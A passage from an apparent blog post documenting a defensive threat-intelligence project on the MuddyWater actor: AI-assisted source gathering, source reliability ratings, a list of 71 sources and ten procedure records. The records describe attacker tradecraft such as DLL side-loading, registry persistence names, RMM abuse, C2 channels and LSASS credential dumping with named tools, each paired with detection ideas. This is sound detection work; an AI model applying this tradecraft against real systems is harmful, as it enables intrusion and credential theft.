labels:<br>  Observed = directly shown in telemetry/sample/log/screenshot/source artifact<br>  Reported = stated by source<br>  Assessed = source judgment<br>  Inferred = analyst conclusion from multiple cited facts<br>  Gap = unknown or not proven<br>Do not upgrade source claims, do not treat ATT&amp;CK mapping as attribution evidence, do not<br>treat shared tooling as actor identity proof, and do not claim detection coverage without<br>validation.<br>Search exact terms including:<br>  MuddyWater Iran MOIS, MuddyWater Seedworm, MuddyWater Mango Sandstorm,<br>  MuddyWater TA450, MuddyWater POWERSTATS, PowGoop, MuddyViper, MuddyWater Israel,<br>  Israeli organizations, PowerShell, RMM, phishing, spearphishing, Exchange CVE-2020-0688,<br>  CVE-2017-0199, MITRE ATT&amp;CK, CISA FBI NSA advisory, Mango Sandstorm Microsoft,<br>  TA450 Proofpoint, Seedworm Symantec, ESET, ClearSky, Unit 42, Check Point, Mandiant,<br>  SentinelOne, Recorded Future, Talos, Trend Micro, Kaspersky;<br>  also: APT34 Israel, APT35 Israel, Mint Sandstorm Israel, CyberAv3ngers Israel,<br>  Agrius Israel, Iranian threat actors Israeli organizations.<br>Output only these sections:<br>  1) Executive Source Assessment<br>  2) High-Priority Source Register with 10-20 best sources in YAML<br>  3) Extended Source Register<br>  4) Direct Downloads Table<br>  5) Actor Alias / Overlap Notes<br>  6) Procedure Extraction Candidates grouped by tactic with source_ids, evidence_label,<br>     ATT&amp;CK candidate, required telemetry, detection opportunity, validation_possible<br>  7) OpenCTI Modeling Candidates<br>  8) Detection Engineering Opportunities marked candidate only<br>  9) Gaps And Manual Review Items<br>The final output must be usable to seed data/sources.yaml, data/procedures.yaml,<br>docs methodology, OpenCTI import plan, and detection atlas.</pre><h4>What the Prompt Is Designed to Do</h4><p>A few decisions worth explaining:</p><p><strong>Output schema in the prompt.</strong> Asking for a specific YAML field list (id, title, publisher, url, direct_download_url…) forces the model to either produce usable data or leave a visible blank — no vague summaries. direct_download_url: none_found is the required answer when a URL doesn't exist, which prevents the model from inventing one.</p><p><strong>Evidence labels baked in.</strong> The five labels (Observed / Reported / Assessed / Inferred / Gap) are defined in the prompt so the model applies them consistently and the output is ready to feed directly into data/procedures.yaml without reformatting.</p><p><strong>Explicit anti-hallucination rules.</strong> “Do not invent URLs or dates.” “Do not upgrade source claims.” “Do not treat ATT&amp;CK mapping as attribution evidence.” These are not just principles — they are instructions the model can fail visibly on, which makes QA faster.</p><p><strong>Parallel models, same prompt.</strong> Running Gemini and OpenAI on the same prompt and comparing outputs catches source fabrications: if one model lists a URL the other doesn’t, that URL gets verified before it enters the register. Two models that agree independently on a source add confidence; one model alone that lists something unusual is a flag.</p><h4>The Review Gate</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*p--8CFcThnLuDmZiNyOdQg.png"></figure><p>Every source that came out of the AI output went through this checklist before being promoted into data/sources.yaml:</p><ul><li>Is the URL real and accessible?</li><li>Is the publication date accurate?</li><li>Does the content actually describe MuddyWater procedures (not just mention the name)?</li><li>Is there at least one procedure-level claim (not just “actor uses PowerShell”)?</li><li>Is the actor identification explicit or inferred from shared tooling only?</li></ul><p>71 candidates → 8 government/vendor sources promoted. The rest were duplicates, secondary summaries, or sources that named the actor without procedure-level specificity.</p><h4>Research Artifacts (All in the Repo)</h4><p>Every file from the source gathering workflow is version-controlled and publicly accessible:</p><ul><li><a href="https://github.com/anpa1200/operation-desert-hydra/blob/main/docs/source-gathering/Gemini-research.md"><strong>Gemini-research.md</strong></a> — Raw Gemini deep-research output: candidate source register in YAML, procedure extraction candidates, OpenCTI modeling candidates, detection opportunities, gaps.</li><li><a href="https://github.com/anpa1200/operation-desert-hydra/blob/main/docs/source-gathering/openAI-research.md"><strong>openAI-research.md</strong></a> — Raw OpenAI deep-research output: executive assessment, high-priority sources, extended source register, direct download list, actor alias notes.</li><li><a href="https://github.com/anpa1200/operation-desert-hydra/blob/main/docs/source-gathering/relevant-research-list.md"><strong>relevant-research-list.md</strong></a> — Deduplicated candidate list after comparing both model outputs: 71 sources, acquisition targets for Step 5.</li><li><a href="https://github.com/anpa1200/operation-desert-hydra/blob/main/docs/source-gathering/source-acquisition-report.md"><strong>source-acquisition-report.md</strong></a> — Results of the automated fetch run: HTTP status, content type, file size, and extraction status for all 71 sources.</li><li><a href="https://github.com/anpa1200/operation-desert-hydra/blob/main/docs/source-gathering/source-reliability-evidence-assessment.md"><strong>source-reliability-evidence-assessment.md</strong></a> — Analyst review notes: reliability ratings, evidence quality, promotion decisions, and limitations per source.</li><li><a href="https://github.com/anpa1200/operation-desert-hydra/tree/main/docs/source-gathering/raw-sources"><strong>raw-sources/</strong></a> — 71 numbered source folders, each containing metadata.json, headers.txt, the raw source file, extracted source.txt, and fallback reader output.</li></ul><h4><strong>Promoted sources (highest weight):</strong></h4><ul><li><strong>CISA AA22–055A (Feb 2022)</strong> — Full procedure survey: PowGoop, POWERSTATS, Small Sieve, Mori, Canopy, Marlin; WMI survey script; credential dumping tools.</li><li><strong>INCD 2023</strong> — Israeli campaign specifics: ScreenConnect/SimpleHelp RMM abuse, Egnyte/OneDrive lures, Log4j + Exchange exploitation.</li><li><strong>INCD 2024</strong> — BugSleep analysis: 43-minute scheduled task beacon, VPN exploitation, new RMM tools (Level, PDQConnect).</li></ul><p>Supporting vendor sources: ClearSky, Deep Instinct, Group-IB, Mandiant, Proofpoint, Sekoia.io, Symantec.</p><h4>Why These Three Have the Highest Weight</h4><p>The reliability assessment used a two-axis rubric: <strong>Source Reliability (A–F)</strong> separating publication discipline from content, and <strong>Information Credibility (1–6)</strong> rating how well each claim is grounded.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*672ETgk4DFDJDE0G2-sLgA.png"></figure><p><strong>CISA AA22–055A — Reliability A, Credibility 2</strong></p><p>This is a joint advisory signed by five national authorities: CISA, FBI, CNMF, NCSC-UK, and NSA. That multi-agency co-signature is not ceremonial — each agency must independently agree to the technical content before it publishes. The advisory names specific malware families (PowGoop, POWERSTATS, Small Sieve, Mori, Canopy, Marlin), includes an actual WMI PowerShell survey script attributed to MuddyWater, and lists credential-dumping tool names. Evidence label: Reported / Assessed. The PDF acquired locally at raw-sources/07-u-s-cyber-command-defense-media-aa22-055a-pdf-mirror/source.pdf is the authoritative copy distributed via Defense Media Activity. Credibility is 2, not 1, because the advisory states TTPs based on intelligence assessment rather than a single intercepted artifact — but the authority behind that assessment is as high as public-source CTI gets.</p><p><strong>INCD 2023 (MuddyWater / DarkBit PDF) — Reliability A, Credibility 2</strong></p><p>The Israel National Cyber Directorate is the government authority responsible for civilian cyber defense in Israel, the primary target country for this actor. This report covers a specific Israeli campaign including: tool names (ScreenConnect, SimpleHelp), file-sharing lure services (Egnyte, OneDrive), exploitation of Log4j and Exchange CVE-2020–0688, and deployment of ransomware (DarkBit) as a cover operation. Evidence label: Observed / Reported / Assessed. The "Observed" label means the INCD had direct visibility into the incident — not a secondary summary. This gives procedure-level specificity that generic vendor threat intel doesn't reach. Acquired at raw-sources/17-israel-national-cyber-directorate-muddywater-darkbit-pdf/source.pdf.</p><p><strong>INCD 2024 (BugSleep PDF) — Reliability A, Credibility 2</strong></p><p>Same publisher authority as INCD 2023, focused on MuddyWater’s 2024 evolution. Key content: BugSleep backdoor analysis, the specific 43-minute scheduled task beacon interval (which became proc_mw_0006 and det_mw_0006), VPN exploitation, and new RMM tools (Level, PDQConnect). The 43-minute interval is a concrete behavioral fingerprint — not a general TTP category — and it came from direct INCD analysis. Evidence label: Observed / Reported / Assessed. Acquired at raw-sources/18-israel-national-cyber-directorate-technological-advancement-and-evolution-of-muddywater-in/source.pdf.</p><p>The three sources share a common characteristic: they are not secondary aggregators or vendor marketing. They are government authorities with direct incident visibility reporting on specific Israeli campaigns.</p><h4>Steps After Deduplication: What Actually Happened to All 71 Sources</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XeokisYTU_DGw6UH7bLB3w.png"></figure><p>After the AI outputs were merged and deduplicated, 71 candidate sources remained. Here is what happened to them across Steps 5–9:</p><p><strong>Step 5 — Automated Acquisition</strong></p><p>tools/fetch_research_sources.py ran against all 71 URLs. For each source it created a numbered folder under docs/source-gathering/raw-sources/ with:</p><pre>raw-sources/<br>  01-mitre-att-ck-muddywater-g0069/<br>    metadata.json        # URL, fetch timestamp, HTTP status, content-type, size<br>    headers.txt          # Raw HTTP response headers<br>    source.html / source.pdf / source.txt   # Primary file<br>    source.txt           # Text extract (for PDFs and HTML)<br>    fallback-reader.txt  # Reader-mode fallback if primary was blocked or JS-rendered</pre><p>Not all fetches succeeded. Some sources returned 403 (vendor gating), some required JS rendering (only fallback text was captured), and two PDFs were corrupted. The acquisition report at docs/source-gathering/source-acquisition-report.md records the HTTP status, file size, and extraction status for all 71.</p><p><strong>Step 6 — Reliability and Credibility Rating</strong></p><p>Each acquired source was rated using the two-axis rubric. The full assessment table is in docs/source-gathering/source-reliability-evidence-assessment.md. Outcome breakdown:</p><ul><li>Reliability A (government / primary standard): 23 sources</li><li>Reliability B (usually reliable vendor / research publisher): 25 sources</li><li>Reliability C (secondary / news / marketing): 18 sources</li><li>Reliability F (failed acquisition or cannot judge): 5 sources</li></ul><p><strong>Step 7 — Promotion Decision</strong></p><p>Only sources with a combination of Reliability A or B, Credibility 2 or better, a usable acquisition, and at least one procedure-level claim were promoted into data/sources.yaml. The rest were assigned one of: Use as corroboration, Use as comparison only, Defer, or Exclude.</p><p>71 candidates → 8 primary sources promoted into the dataset. The 63 that were not promoted are retained in raw-sources/ for future work; they are not discarded.</p><p><strong>Step 8 — Claim Extraction</strong></p><p>For each promoted source, specific claims were extracted with source binding and evidence labels. A claim is not “MuddyWater uses PowerShell” — it is: “CISA AA22–055A (AA22–055A PDF, p.4) reports that MuddyWater actors deploy PowGoop, a DLL loader that decrypts and executes a PowerShell backdoor (Reported)." This source-bound format prevents claim drift downstream.</p><p><strong>Step 9 — Procedure Candidate Extraction</strong></p><p>From the bound claims, 10 procedure candidates were grouped by tactic: Initial Access, Execution, Persistence, Defense Evasion, Discovery, C2, Credential Access. Each candidate recorded: required telemetry, detection opportunity, whether lab validation was feasible, and whether the procedure appeared in multiple independent sources (a promotion signal for higher confidence scores later).</p><h4>The Full 71-Source Candidate List</h4><p>This is the deduplicated list produced after comparing Gemini and OpenAI outputs. Every source here was an acquisition target for Step 5.</p><p><strong>Core MuddyWater / Seedworm / TA450 / Mango Sandstorm</strong></p><ol><li><a href="https://attack.mitre.org/groups/G0069/">MITRE ATT&amp;CK — MuddyWater G0069</a></li><li><a href="https://attack.mitre.org/software/S0223/">MITRE ATT&amp;CK — POWERSTATS S0223</a></li><li><a href="https://attack.mitre.org/software/S1046/">MITRE ATT&amp;CK — PowGoop S1046</a></li><li><a href="https://www.cisa.gov/news-events/alerts/2022/02/24/iranian-government-sponsored-muddywater-actors-conducting-malicious">CISA alert — Iranian Government-Sponsored MuddyWater Actors Conducting Malicious Cyber Operations</a></li><li><a href="https://www.cisa.gov/news-events/cybersecurity-advisories/aa22-055a">CISA / FBI / CNMF / NCSC-UK / NSA — AA22–055A advisory page</a></li><li><a href="https://www.cisa.gov/sites/default/files/publications/AA22-055A_Iranian_Government-Sponsored_Actors_Conduct_Cyber_Operations.pdf">CISA / FBI / CNMF / NCSC-UK / NSA — AA22–055A PDF</a></li><li><a href="https://media.defense.gov/2022/Feb/24/2002944274/-1/-1/0/CSA_AA22-055A_Iranian_Government-Sponsored_Actors_Conduct_Cyber_Operations.PDF">U.S. Cyber Command / Defense media — AA22–055A PDF mirror</a></li><li><a href="https://www.ncsc.gov.uk/news/joint-advisory-observes-muddywater-actors-conducting-cyber-espionage">NCSC-UK — Joint advisory on MuddyWater actor</a></li><li><a href="https://www.iranwatch.org/sites/default/files/cybercom_muddywater_press_release.pdf">U.S. Cyber Command / Iran Watch mirror — Iranian intel cyber suite of malware PDF</a></li><li><a href="https://duo.com/decipher/us-cyber-command-discloses-muddywater-malware-samples">Decipher — US Cyber Command Discloses MuddyWater Malware Samples</a></li><li><a href="https://www.sentinelone.com/labs/wading-through-muddy-waters-recent-activity-of-an-iranian-state-sponsored-threat-actor/">SentinelOne — Wading Through Muddy Waters</a></li><li><a href="https://unit42.paloaltonetworks.com/unit42-muddying-the-water-targeted-attacks-in-the-middle-east/">Palo Alto Unit 42 — Muddying the Water: Targeted Attacks in the Middle East</a></li><li><a href="https://radar.certfa.com/en/insights/cluster/fe272810/">CERTFA Radar — MuddyWater Threat Actor Cluster</a></li><li><a href="https://radar.certfa.com/en/threats/view/d7c9c420/">CERTFA Radar — MuddyWater / Earth Vetala Intrusion</a></li><li><a href="https://www.group-ib.com/masked-actors/muddywater/">Group-IB — MuddyWater APT Group Profile</a></li></ol><p><strong>Israel-Focused MuddyWater Sources</strong></p><ol><li><a href="https://www.gov.il/en/pages/_muddywater">Israel National Cyber Directorate — MuddyWater page</a></li><li><a href="https://www.gov.il/BlobFolder/news/_muddywater/en/government%20threat%20actor.pdf">Israel National Cyber Directorate — MuddyWater / DarkBit PDF</a></li><li><a href="https://www.gov.il/BlobFolder/reports/maddy_water_2024/en/ALERT_CERT_IL_W_1858.pdf">Israel National Cyber Directorate — Technological Advancement and Evolution of MuddyWater in 2024 PDF</a></li><li><a href="https://www.gov.il/BlobFolder/reports/alert_1947/he/ALERT-CERT-IL-W-1947.pdf">Israel National Cyber Directorate — Overview of Recent Phishing PDF</a></li><li><a href="https://www.clearskysec.com/operation-quicksand/">ClearSky — Operation Quicksand: MuddyWater’s Offensive Attack Against Israeli Organizations</a></li><li><a href="https://www.clearskysec.com/wp-content/uploads/2020/10/Operation-Quicksand.pdf">ClearSky — Operation Quicksand PDF</a></li><li><a href="https://www.microsoft.com/en-us/security/blog/2023/04/07/mercury-and-dev-1084-destructive-attack-on-hybrid-environment/">Microsoft — MERCURY and DEV-1084: Destructive attack on hybrid environment</a></li><li><a href="https://www.microsoft.com/en-us/security/blog/2022/06/02/exposing-polonium-activity-and-infrastructure-targeting-israeli-organizations/">Microsoft — Exposing POLONIUM activity and infrastructure targeting Israeli organizations</a></li><li><a href="https://www.proofpoint.com/us/blog/threat-insight/security-brief-ta450-uses-embedded-links-pdf-attachments-latest-campaign">Proofpoint — TA450 Uses Embedded Links in PDF Attachments in Latest Campaign</a></li><li><a href="https://harfanglab.io/insidethelab/muddywater-rmm-campaign/">HarfangLab — MuddyWater campaign abusing Atera Agents</a></li><li><a href="https://www.deepinstinct.com/blog/darkbeatc2-the-latest-muddywater-attack-framework">Deep Instinct — DarkBeatC2: The Latest MuddyWater Attack Framework</a></li><li><a href="https://www.scworld.com/brief/novel-c2-tool-leveraged-in-latest-muddywater-attacks">SC Media — Novel C2 tool leveraged in latest MuddyWater attacks</a></li><li><a href="https://blog.checkpoint.com/research/muddywater-threat-group-deploys-new-bugsleep-backdoor/">Check Point — MuddyWater Threat Group Deploys New BugSleep Backdoor</a></li><li><a href="https://www.welivesecurity.com/en/eset-research/muddywater-snakes-riverbank/">ESET / WeLiveSecurity — MuddyWater: Snakes by the riverbank</a></li><li><a href="https://www.eset.com/uk/about/newsroom/press-releases/iran-muddywater-critical-infrastructure-israel-egypt-snake-game-eset-research-uk/">ESET press release — Iran’s MuddyWater targets critical infrastructure in Israel and Egypt</a></li><li><a href="https://securityaffairs.com/185244/apt/muddywater-strikes-israel-with-advanced-muddyviper-malware.html">Security Affairs — MuddyWater strikes Israel with advanced MuddyViper malware</a></li><li><a href="https://thehackernews.com/2024/03/iran-linked-muddywater-deploys-atera.html">The Hacker News — Iran-Linked MuddyWater Deploys Atera for Surveillance in Phishing Attacks</a></li></ol><p><strong>Recent / Evolving MuddyWater Activity</strong></p><ol><li><a href="https://www.proofpoint.com/us/blog/threat-insight/around-world-90-days-state-sponsored-actors-try-clickfix">Proofpoint — Around the World in 90 Days: State-Sponsored Actors Try ClickFix</a></li><li><a href="https://www.proofpoint.com/us/blog/threat-insight/crossed-wires-case-study-iranian-espionage-and-attribution">Proofpoint — Crossed Wires: a case study of Iranian espionage and attribution</a></li><li><a href="https://www.group-ib.com/blog/muddywater-operation-olalampo/">Group-IB — Operation Olalampo: Inside MuddyWater’s Latest Campaign</a></li><li><a href="https://thehackernews.com/2026/02/muddywater-targets-mena-organizations.html">The Hacker News — MuddyWater Targets MENA Organizations with GhostFetch, CHAR, and HTTP_VIP</a></li><li><a href="https://www.rapid7.com/blog/post/tr-muddying-tracks-state-sponsored-shadow-behind-chaos-ransomware/">Rapid7 — Muddying the Tracks: The State-Sponsored Shadow Behind Chaos Ransomware</a></li><li><a href="https://thehackernews.com/2026/05/muddywater-uses-microsoft-teams-to.html">The Hacker News — MuddyWater Uses Microsoft Teams to Steal Credentials in False Flag Ransomware Attack</a></li><li><a href="https://www.rapid7.com/research/iran-conflict-cyber-threats/">Rapid7 — Iran Conflict Cyber Threat Intelligence</a></li><li><a href="https://www.extrahop.com/blog/the-digital-front-of-iranian-cyber-offensive-and-defensive-response">ExtraHop — The Digital Front of Iranian Cyber Offensive and Defensive Response</a></li><li><a href="https://abnormal.ai/blog/iran-aligned-cyber-operations-email-threats">Abnormal Security — Tracking Iran-Aligned Cyber Operations Following U.S.-Israel Strikes</a></li><li><a href="https://unit42.paloaltonetworks.com/boggy-serpens-threat-assessment/">Unit 42 — Boggy Serpens Threat Assessment</a></li><li><a href="https://hivepro.com/threat-advisory/muddywater-irans-adaptive-cyber-espionage-machine/">Hive Pro — MuddyWater: Iran’s Adaptive Cyber Espionage Machine</a></li><li><a href="https://hivepro.com/wp-content/uploads/2026/03/TA2026082.pdf">Hive Pro — MuddyWater / Operation Olalampo PDF</a></li><li><a href="https://ics-cert.kaspersky.com/wp-content/uploads/2024/10/kaspersky-ics-cert-apt-and-financial-attacks-on-industrial-organizations-in-q2-2024-en.pdf">Kaspersky ICS CERT — APT and financial attacks on industrial organizations in Q2 2024 PDF</a></li><li><a href="https://ics-cert.kaspersky.com/wp-content/uploads/2025/09/kaspersky-ics-cert-apt-and-financial-attacks-on-industrial-organizations-in-q2-2025-en-2.pdf">Kaspersky ICS CERT — APT and financial attacks on industrial organizations in Q2 2025 PDF</a></li><li><a href="https://documents.trendmicro.com/assets/pdf/Annual_APT_Report_2025.pdf">Trend Micro — Annual APT Report 2025 PDF</a></li><li><a href="https://go.intel471.com/hubfs/Emerging%20Threats/2025%20Emerging%20Threats/Upd%20HUNTER%20-%20Iranian%20Threat%20Actor%20Coverage.pdf">Intel 471 — HUNTER Iranian Threat Actor Coverage PDF</a></li></ol><p><strong>Iran Threat Context and Comparison Actors</strong></p><ol><li><a href="https://www.cisa.gov/topics/cyber-threats-and-advisories/advanced-persistent-threats/iran">CISA — Iran Threat Overview and Advisories</a></li><li><a href="https://www.cisa.gov/topics/cyber-threats-and-advisories/nation-state-cyber-actors/iran/publications">CISA — Iran state-sponsored cyber threat publications</a></li><li><a href="https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-335a">CISA — AA23–335A: IRGC-Affiliated Cyber Actors Exploit PLCs in Multiple Sectors</a></li><li><a href="https://www.cisa.gov/sites/default/files/2023-12/aa23-335a-irgc-affiliated-cyber-actors-exploit-plcs-in-multiple-sectors-1.pdf">CISA — AA23–335A PDF</a></li><li><a href="https://attack.mitre.org/groups/G0049/">MITRE ATT&amp;CK — APT34</a></li><li><a href="https://attack.mitre.org/groups/G0059/">MITRE ATT&amp;CK — APT35 / Charming Kitten</a></li><li><a href="https://attack.mitre.org/groups/G1030/">MITRE ATT&amp;CK — Agrius</a></li><li><a href="https://www.microsoft.com/en-us/security/security-insider/mint-sandstorm">Microsoft — Mint Sandstorm</a></li><li><a href="https://www.microsoft.com/en-us/security/blog/2024/08/28/peach-sandstorm-deploys-new-custom-tickler-malware-in-long-running-intelligence-gathering-operations/">Microsoft — Peach Sandstorm deploys new custom Tickler malware</a></li><li><a href="https://learn.microsoft.com/en-us/microsoft-365/security/defender/microsoft-threat-actor-naming?view=o365-worldwide">Microsoft Learn — How Microsoft names threat actors</a></li><li><a href="https://www.sentinelone.com/blog/sentinelone-intelligence-brief-iranian-cyber-activity-outlook/">SentinelOne — Iranian Cyber Activity Outlook</a></li><li><a href="https://mirror.gpmidi.net/vx-underground/Malware%20Analysis/2024/2024-09-19%20-%20The%20Iranian%20Cyber%20Capability/Paper/2024-09-19%20-%20The%20Iranian%20Cyber%20Capability.pdf">Trellix — The Iranian Cyber Capability PDF</a></li></ol><p><strong>OpenCTI / STIX / Knowledge Graph References</strong></p><ol><li><a href="https://docs.opencti.io/latest/usage/data-model/">OpenCTI documentation — Data model</a></li><li><a href="https://docs.opencti.io/latest/reference/api/">OpenCTI documentation — GraphQL API</a></li><li><a href="https://docs.opencti.io/latest/usage/deduplication/">OpenCTI documentation — Deduplication</a></li><li><a href="https://docs.oasis-open.org/cti/stix/v2.1/stix-v2.1.html">OASIS — STIX 2.1 HTML specification</a></li><li><a href="https://docs.oasis-open.org/cti/stix/v2.1/cs02/stix-v2.1-cs02.pdf">OASIS — STIX 2.1 PDF specification</a></li><li><a href="https://stixproject.github.io/documentation/concepts/relationships/">STIX Project — Relationships</a></li><li><a href="https://arxiv.org/abs/2303.09999">STIXnet — Extracting STIX Objects in CTI Reports</a></li><li><a href="https://arxiv.org/abs/2507.16576">From Text to Actionable Intelligence: Automating STIX Entity and Relationship Extraction</a></li><li><a href="https://arxiv.org/abs/2605.15904">Context-aware Entity-Relation Extraction for Threat Intelligence Knowledge Graphs</a></li></ol><p><strong>Validate Before Promoting</strong></p><ol><li><a href="https://brandefense.io/wp-content/uploads/2025/10/brandefense.io-muddywater-iran-linked-espionage-group-expanding-global-reach-muddywater-.pdf">Brandefense — MuddyWater PDF</a></li><li><a href="https://assets.kpmg.com/content/dam/kpmgsites/in/pdf/2022/07/KPMG_CTI_Report_muddy.pdf.coredownload.inline.pdf">KPMG — CTI Report MuddyWater PDF</a></li></ol><p><strong>Critical discipline:</strong> AI output was used only for source discovery. Every claim, mapping, and detection record required analyst review before entering the dataset.</p><h3>Phase 2: Procedure Dataset</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ji8MQqr4SpW620AV3QN67A.png"></figure><p>A procedure record is not an ATT&amp;CK technique. ATT&amp;CK describes what a class of actors <em>can</em> do. A procedure record describes what <em>this actor</em> did, in <em>this campaign</em>, as documented by <em>this source</em>, with a specific evidence label attached.</p><p>The distinction matters for detection. “Adversaries use scheduled tasks (T1053.005)” does not help you tune a detection rule. “BugSleep creates a scheduled task with a 43-minute repeat interval (INCD 2024, Observed)” does — because you now have a concrete interval to hunt for, a specific tool name, and a source you can cite in your detection rationale.</p><p>Each of the 10 records in <a href="https://github.com/anpa1200/operation-desert-hydra/blob/main/data/procedures.yaml">data/procedures.yaml</a> captures four things:</p><ul><li>The specific behavior — not the technique category</li><li>The source references that support it, with evidence labels</li><li>Candidate ATT&amp;CK technique mappings and the reasoning behind each candidate</li><li>Required telemetry, a detection idea, validation plan, and known limitations</li></ul><h4>Confidence Labels</h4><p>Each record carries one of four evidence labels inherited from the source assessment:</p><p><strong>Observed</strong> — the behavior appears directly in source telemetry, a recovered sample, a screenshot, or a government incident report with direct visibility into the event. This is the strongest label and the only one that justifies a high-priority detection without further corroboration.</p><p><strong>Reported</strong> — a source states the behavior occurred, but the evidence is assertion-level rather than artifact-level. Still usable; requires corroboration before relying on it alone.</p><p><strong>Assessed</strong> — the source draws an analytical conclusion based on multiple indicators. Appropriate for ATT&amp;CK candidate mappings; not sufficient alone for a new detection claim.</p><p><strong>Inferred</strong> — analyst conclusion derived from combining multiple reported facts across sources. Weakest label; flag for review before using in production.</p><p>All 10 procedures in this dataset carry <strong>Observed</strong> or <strong>High</strong> confidence. That is not a coincidence — it reflects the promotion threshold. Procedures that came only from secondary or inferred sources were not promoted into data/procedures.yaml; they stayed in the claim extraction notes for future work.</p><h4>The 10 Procedures</h4><p><strong>proc_mw_0001 — Spearphishing Email Delivery</strong> <em>Confidence: Observed · Sources: AA22–055A, INCD 2023, INCD 2024 · ATT&amp;CK: T1566.001, T1566.002, T1534</em></p><p>Three delivery variants documented across all three primary government sources: ZIP attachments containing macro-enabled Excel files or PDFs; email links to Egnyte or OneDrive delivering compressed RMM installers; and emails sent from compromised legitimate accounts to increase lure credibility. In 2024, a Microsoft-update-lure campaign sent to 10,000+ accounts embedded a PowerShell API key, granting the actor direct agent access immediately after the RMM tool installed. Three independent government sources corroborate this procedure — it is the highest-confidence initial access vector in the dataset.</p><p><strong>proc_mw_0002 — Public-Facing Exploitation</strong> <em>Confidence: Observed · Sources: AA22–055A, INCD 2023, INCD 2024 · ATT&amp;CK: T1190</em></p><p>Secondary initial access vector to phishing. Documented CVEs: CVE-2020–1472 (Netlogon/Zerologon), CVE-2020–0688 (Exchange), CVE-2021–44228 (Log4j), and unspecified VPN vulnerabilities confirmed by INCD 2024. Exploitation is typically followed by RMM tool deployment or custom backdoor staging. The VPN claim from INCD 2024 does not name a specific CVE — treat as Reported until a CVE is attributed.</p><p><strong>proc_mw_0003 — PowerShell Execution and Script Obfuscation</strong> <em>Confidence: Observed · Sources: AA22–055A, INCD 2024 · ATT&amp;CK: T1059.001, T1027</em></p><p>Cross-cutting technique present in every tool tier. PowGoop uses an obfuscated .dat + config.txt PowerShell chain for C2 beaconing. POWERSTATS is a persistent PowerShell backdoor. The 2024 lure embedded an API key executed via PowerShell to grant direct agent access. Obfuscation is applied consistently via Base64, XOR, and custom encoding. Detection anchor: Script Block Logging (EID 4104) is the primary telemetry dependency — without it, this procedure is nearly invisible to endpoint-only detection.</p><p><strong>proc_mw_0004 — DLL Side-Loading</strong> <em>Confidence: Observed · Sources: AA22–055A, INCD 2024 · ATT&amp;CK: T1574.002</em></p><p>PowGoop’s canonical execution method: a malicious DLL renamed Goopdate.dll placed alongside GoogleUpdate.exe, causing the legitimate signed binary to load and execute the malicious DLL. INCD 2024 confirms continued use across the 2024 toolset. Detection requires Sysmon EID 7 (image load) with signing status — not available from Windows Event Log alone. This is the most telemetry-constrained procedure in the dataset; validation was PARTIAL because the lab's stub DLL did not produce sufficient EID 7 signal.</p><p><strong>proc_mw_0005 — Registry Run Key and Startup Folder Persistence</strong> <em>Confidence: Observed · Sources: AA22–055A, INCD 2024 · ATT&amp;CK: T1547.001</em></p><p>Small Sieve adds index.exe under the Run key named OutlookMicrosift — mimicking a Microsoft application name. Canopy installs its first WSF script in the startup folder. AA22-055A documents an additional key: SystemTextEncoding. INCD 2024 confirms continued use. The specific key names (OutlookMicrosift, SystemTextEncoding) are high-confidence IoCs when present; a detection based only on "new Run key written by a non-installer" will generate noise in most enterprise environments.</p><p><strong>proc_mw_0006 — Scheduled Task (43-Minute Beacon)</strong> <em>Confidence: Observed · Source: INCD 2024 (single source) · ATT&amp;CK: T1053.005</em></p><p>BugSleep creates a Windows scheduled task triggered every 43 minutes for C2 beaconing. The interval is documented as customizable, but 43 minutes is the specific value observed in the INCD 2024 analysis. This is a single-source procedure — INCD 2024 only — which is why it carries a coverage score of 4 (correlated analytic) rather than 5 in the detection atlas. Before treating this interval as a high-confidence fingerprint in production, corroborate with a vendor source.</p><p><strong>proc_mw_0007 — RMM Tool Abuse</strong> <em>Confidence: Observed · Sources: AA22–055A, INCD 2023, INCD 2024, multiple vendor sources · ATT&amp;CK: T1219</em></p><p>The most consistently documented technique across all source tiers — five independent government and vendor sources corroborate it. Tool inventory across campaigns: ScreenConnect (2022), SyncroRAT (Israel 2023), rport.exe (DarkBit operation), AteraAgent (multiple vendor sources), SimpleHelp, Level, PDQConnect (2024). The 2024 lure embedded an API key so the actor had direct agent access the moment the victim installed the tool. Detection must rely on delivery context and parent process — not binary name alone, since these are legitimate commercial tools.</p><p><strong>proc_mw_0008 — C2 via Web Protocols and DNS Tunneling</strong> <em>Confidence: Observed · Sources: AA22–055A, INCD 2024 · ATT&amp;CK: T1071.001, T1572, T1102</em></p><p>Multiple C2 channels documented. Small Sieve beacons via Telegram Bot API over HTTPS. Canopy sends collected data via HTTP POST. Blackout uses GET /questions and POST /about-us. AnchorRAT communicates over HTTPS port 443 in JSON format. Mori uses DNS tunneling. In 2024, Rentry.co was used as a legitimate platform for C2 redirection. The Telegram API is the highest-confidence detection anchor: outbound HTTPS to api.telegram.org from a non-browser process is unusual in enterprise environments and directly attributed across multiple sources.</p><p><strong>proc_mw_0009 — WMI System Discovery Survey</strong> <em>Confidence: Observed · Source: AA22–055A (script documented verbatim) · ATT&amp;CK: T1047, T1082, T1016, T1033, T1518.001</em></p><p>MuddyWater runs a PowerShell script that queries WMI to collect: IP addresses (Win32_NetworkAdapterConfiguration), OS name and architecture (Win32_OperatingSystem), hostname, domain, username, and AV product names (root\SecurityCenter2\AntiVirusProduct). The collected data is assembled into a delimited string, encoded, and sent to C2. The exact script is reproduced in the CISA advisory. The SecurityCenter2 query is the detection anchor: legitimate enterprise software rarely queries this WMI namespace outside AV management contexts, making it a low-noise signal.</p><p><strong>proc_mw_0010 — Credential Dumping from LSASS and Credential Stores</strong> <em>Confidence: Observed · Source: AA22–055A · ATT&amp;CK: T1003.001, T1003.004, T1003.005</em></p><p>Post-access credential access using three tools: Mimikatz and procdump64.exe against LSASS memory (T1003.001); LaZagne for LSA secrets (T1003.004) and cached domain credentials (T1003.005). Used post-exploitation to enable lateral movement with harvested credentials. Detection via Sysmon EID 10 (process accessing lsass.exe) is tool-agnostic — it fires regardless of whether the actor uses Mimikatz, procdump, or a custom variant with a different binary name. This is the most reliable detection path for this procedure.</p><h3>Phase 3: OpenCTI Knowledge Graph</h3><p>The procedure dataset and source register go into a self-hosted OpenCTI 6.2 instance. This creates the analytical record — queryable, relationship-aware, ATT&amp;CK-linked.</p><h3>OpenCTI Deployment</h3><p>The stack used in this project is documented and publicly reproducible. The full deployment — 